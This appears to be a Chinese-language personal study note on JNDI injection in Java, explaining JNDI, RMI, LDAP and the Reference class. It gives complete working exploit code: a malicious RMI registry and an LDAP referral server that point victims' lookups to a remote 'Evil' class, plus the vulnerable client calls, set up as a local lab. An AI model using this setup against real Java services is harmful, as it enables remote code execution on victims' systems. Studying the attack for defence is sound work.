JNDI注入
前言
该篇目的在于简单记录一下学习JNDI注入中的一些笔记,未提到的一些还没深入学习,之后搞明白了会继续补充!
JNDI简介
官方解释:JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
总结成一句话就是:JNDI是命名和服务接口
JNDI 架构上如上图:
- Naming Service:即命名服务,类似于哈希表的
K/V
对,通过名称去获取对应的服务 - SPI(Service Provider Interface):即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。
JDK 中包含了下述内置的命名目录服务:
- RMI: Java Remote Method Invocation,Java 远程方法调用
- LDAP: 轻量级目录访问协议
- CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services)
- DNS(域名转换协议)
JNDI利用方式
JNDI Reference类
Reference类表示对存在于命名/目录系统以外的对象的引用。比如远程获取 RMI 服务上的对象是 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载class文件来进行实例化。
// className为远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
// factory为工厂类名
// factoryLocation为工厂类加载的地址,可以是file://、ftp://、http:// 等协议
Reference(String className, String factory, String factoryLocation)
在RMI中,由于我们远程加载的对象需要继承UnicastRemoteObject
类,所以这里我们需要使用ReferenceWrapper
类对Reference
类或其子类对象进行远程包装成Remote类使其能够被远程访问。
下面看下实例就好理解了!
RMI的利用
RMI服务端
package com.ggbond.Jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(2333);
Reference reference = new Reference("Calc", "Evil", "http://127.0.0.1/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Calc", referenceWrapper);
}
}
RMI客户端(被攻击端)
package com.ggbond.Jndi;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMICilent {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:2333/Calc");
}
}
远程加载的类:
这个没什么特殊要求,因为会通过ReferenceWrapper
进行包装,这里我是懒得再编译一个类,使用的是TemplatesImpl
利用过的类
LDAP利用
这个利用起来代码比较多,需要启一个LDAP服务
LDAP服务端
package com.ggbond.Jndi;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"http://127.0.0.1/#Evil", "2333"};
int port = 0;
if (args.length < 1 || args[0].indexOf('#') < 0) {
System.err.println(LDAPServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
} else if (args.length > 1) {
port = Integer.parseInt(args[1]);
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
LDAP客户端
package com.ggbond.Jndi;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://127.0.0.1:2333/Evil");
}
}